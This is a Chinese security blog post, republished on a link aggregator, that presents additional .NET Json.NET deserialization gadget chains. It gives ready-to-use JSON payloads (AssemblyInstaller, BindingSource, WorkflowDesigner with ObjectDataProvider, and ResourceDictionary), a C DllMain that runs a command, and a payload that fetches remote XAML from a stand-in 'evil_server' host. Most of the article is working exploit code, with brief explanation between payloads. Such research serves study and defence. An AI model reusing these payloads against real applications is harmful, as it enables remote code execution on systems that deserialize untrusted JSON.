

dotnet 反序列化的另外几个gadget - Y4er的博客
source link: https://y4er.com/posts/several-other-gadgets-of-dotnet/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Dotnet 反序列化的另外几个gadget
之前写了一些ysoserial.net工具中常见的gadget,文章放在了我的GitHub,这篇文章对其进行补充。
全文以json.net
反序列化为例,开启TypeNameHandling.All
。
using Newtonsoft.Json;
using System.IO;
namespace ConsoleApp4
{
internal class Program
{
static void Main(string[] args)
{
JsonConvert.DeserializeObject(File.ReadAllText(args[0]), new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.All
});
}
}
}
System.Configuration.Install.AssemblyInstaller
这个类在GAC中,它的Path属性中会进行Assembly.LoadFrom(value)
那么构造json
{
"$type": "System.Configuration.Install.AssemblyInstaller,System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a",
"Path": "file:///c:/somePath/MixedLibrary.dll"
}
其中Path属性需要是目标机器存在的一个dll。
此处的dll如果为dotnet的dll,还需要通过HelpText属性的getter触发静态构造函数中的rce。注意dll中需要标记RunInstaller并继承Installer
dll可以用混合程序集Mixed Assembly,直接修改这个项目:https://github.com/noperator/CVE-2019-18935 项目中sleep.c,修改为
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
system("calc");
return TRUE;
}
System.Windows.Forms.BindingSource
这个可以触发任意的getter,刚好接上上面的AssemblyInstaller
{
"$type": "System.Windows.Forms.BindingSource, System.Windows.Forms,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"DataMember": "HelpText",
"dataSource": {
"$type": "System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a",
"Path": "file:///c:/somePath/MixedLibrary.dll"
}
}
dataSource是个object类型的对象,放什么都行,他的DataMember调用setter时调用ResetList
在GetList中
造成任意getter调用
System.Activities.Presentation.WorkflowDesigner
也在GAC中,PropertyInspectorFontAndColorData属性会进行XamlParse.load,借助ObjectDataProvider可以RCE
{"$type":"System.Activities.Presentation.WorkflowDesigner,System.Activities.Presentation, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35",
"PropertyInspectorFontAndColorData":"<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:System=\"clr-namespace:System;assembly=mscorlib\" xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\"> <ObjectDataProvider x:Key=\"LaunchCalc\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\"> <ObjectDataProvider.MethodParameters> <System:String>calc</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider></ResourceDictionary>"
}
限制:此类型的构造函数需要Single-Threaded-Apartment (STA)线程
System.Windows.ResourceDictionary
可以从远程服务器下载xamlpayload,然后进行xamlreader.load
{
"__type": "System.Windows.Application, PresentationFramework,Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"Resources": {
"__type": "System.Windows.ResourceDictionary,PresentationFramework, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35",
"Source": "http://evil_server/EvilSite/Xamlpayload"
}
}
Source的setter中
在GetObjectAndCloseStream
从MimeObjectFactory._objectConverters中拿到StreamToObjectFactoryDelegate委托调用,而_objectConverters可以通过自身Register方法注册。分析调用关系
在这里注册了XamlConverter
进行了XamlReader.Load()
Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider
调用binaryformatter,可以二次反序列化rce。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
-
69
比特币带头冲,另外 4 种也不能错过
-
6
dotnet C# 如何让 Json 序列化数组时序列化继承类的属性如果我使用的是具体的数组而我的数组是基类数组,而我传入子类的元素进行 json 序列化,可能发现 Json.NET 序列化没有包含子类元素的属性。如果要包含子类的属性或字段,可以在序列化的类数组定义为...
-
8
二叉树的序列化和反序列化 👆让天下没有难刷的算法!若 GitBook 访问太慢,可尝试
-
8
dotnet C# 序列化 XML 时进行自动格式化默认的序列化对象为 XML 字符串时,是没有进行格式化的,也就是所有的内容都在相同的一行。本文告诉大家方法,在序列化对象时,转换的 XML 是格式化的。或者说拿到 XML 字符串,对这个 XML 字符串进行格式化...
-
8
DotNet反序列化——生成ViewState的程序实现 12 Mar 20210x00 前言 在上篇文章《渗透技巧——从Exchange文件读写权限到命令执行》介绍了通过.Net反序列化ViewState从Exchange文件读写权限到命令执行的方法,分享了三种利用脚本的开发细节...
-
7
之前写了一些ysoserial.net工具中常见的gadget,文章放在了我的GitHub,这篇文章对其进行补充。 全文以json.net反序列化为例,开启TypeNameHandling.All。
-
11
CVE-2021-42631 PrinterLogic Web Stack Unserialize RCE 看到推特上有人发 PrinterLogic Web Stack unserialize R...
-
15
2022-04-29 5 分钟阅读 代码审计JavaRCE
-
7
前几天看到了这篇文章 ,记录一下。使用SerializationBinder先来一个demo,用SerializationB...
-
6
dotnet反序列化新链学习 2023-10-23 2023-10-23 约 1964 字 预计阅读 4 分钟 @chudyPB在Hexacon 2023会议上发布了他的dotnet反序列化的研究白皮书,一个长达124页的pdf,这是我看过最强的一篇关于dotne...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK